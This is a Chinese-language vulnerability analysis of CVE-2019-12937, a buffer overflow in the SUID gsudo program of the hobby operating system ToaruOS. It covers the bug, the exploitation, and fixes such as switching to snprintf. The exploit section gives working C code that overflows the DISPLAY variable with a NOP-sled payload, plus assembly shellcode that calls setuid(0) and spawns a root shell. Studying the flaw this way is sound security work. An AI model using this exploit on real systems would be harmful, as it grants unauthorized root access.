CVE-2019-12937 ToaruOS 提权漏洞分析
字数 922 2025-08-27 12:33:43
ToaruOS 提权漏洞分析 (CVE-2019-12937)
1. 漏洞概述
ToaruOS 1.10.9及之前版本中的gsudo程序存在缓冲区溢出漏洞,攻击者可借助DISPLAY环境变量利用该漏洞将权限提升至root。
2. 受影响系统
- ToaruOS 1.10.9及之前版本
- 具有SUID权限的gsudo程序
3. 漏洞背景
ToaruOS是一个由伊利诺伊大学计算机科学本科生开发的业余爱好操作系统,主要功能包括:
- 进程和线程支持
- ELF二进制支持
- 运行时加载模块
- 管道和各种终端设备支持
- 虚拟文件系统支持
- EXT2文件系统支持
- 信号量支持
4. 漏洞分析
4.1 漏洞触发位置
漏洞位于pex_connect函数中,该函数使用sprintf拼接字符串但没有检查参数长度:
FILE * pex_connect(char * target) {
char tmp[100];
sprintf(tmp, "/dev/pex/%s", target); // 缓冲区溢出点
FILE * out = fopen(tmp, "r+");
if (out) {
setbuf(out, NULL);
}
return out;
}
其中target参数来自环境变量DISPLAY:
yutani_t * yutani_init(void) {
char * server_name = getenv("DISPLAY");
if (!server_name) {
server_name = "compositor";
}
FILE * c = pex_connect(server_name);
// ...
}
4.2 SUID机制
gsudo是一个拥有SUID权限的程序,执行时的权限是root。SUID机制允许程序在执行时暂时拥有文件所有者的权限。
测试SUID程序的示例:
#include <stdio.h>
void main() {
int res;
res = setuid(0);
printf("%d\n", res);
system("/bin/sh");
}
在ToaruOS中,SUID程序会设置进程权限为文件拥有者权限。
5. 漏洞利用
5.1 利用条件
- ToaruOS没有栈随机化、堆随机化、栈不可执行等保护机制
- 栈地址固定,可通过argv变量将payload放到栈上
5.2 利用步骤
-
构造恶意环境变量:
#define EIP "\x0c\xc0\x01\x3f" // 控制EIP到argv地址 char vector[8192] = "DISPLAY=AAA"; char * const env[3] = { "aa", vector, NULL }; for (unsigned int i = 0; i < 26; i++) strcat(vector, EIP); -
准备payload:
char payload[85536]; char * const arg[3] = { payload, "ls", NULL }; memset(payload, '\x90', sizeof(payload) - shellcode_length - 1); payload[sizeof(payload) - shellcode_length - 1] = 0; strcat(payload, shellcode); -
执行gsudo:
execve("/bin/gsudo", arg, env);
5.3 Shellcode设计
Shellcode需要执行以下操作:
- 调用
setuid(0)设置root权限 - 调用
system("/bin/shh")获取shell
ToaruOS系统调用通过int 0x7f实现:
setuid调用号:24system调用号:7
汇编实现:
xor eax, eax
add al, 24 ; setuid系统调用号
xor ebx, ebx ; 参数0(root)
int 0x7f ; 系统调用
jmp short end
start:
pop ebx ; 获取/bin/shh地址
xor eax, eax
mov [ebx+7], al ; 修改字符串为/bin/sh
mov [ebx+8], ebx
mov [ebx+12], eax
add al, 7 ; system系统调用号
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 0x7f ; 系统调用
xor eax, eax
int 0x7f
end:
call start
db "/bin/shh"
db "XXXXXXXX"
6. 漏洞修复建议
-
使用
snprintf替代sprintf,限制拷贝长度:snprintf(tmp, sizeof(tmp), "/dev/pex/%s", target); -
对输入的环境变量进行长度检查
-
移除不必要的SUID权限
7. 总结
该漏洞利用ToaruOS中gsudo程序的缓冲区溢出漏洞,通过精心构造的环境变量覆盖返回地址,执行提权shellcode,最终获取root权限。由于系统缺乏现代防护机制,利用相对简单直接。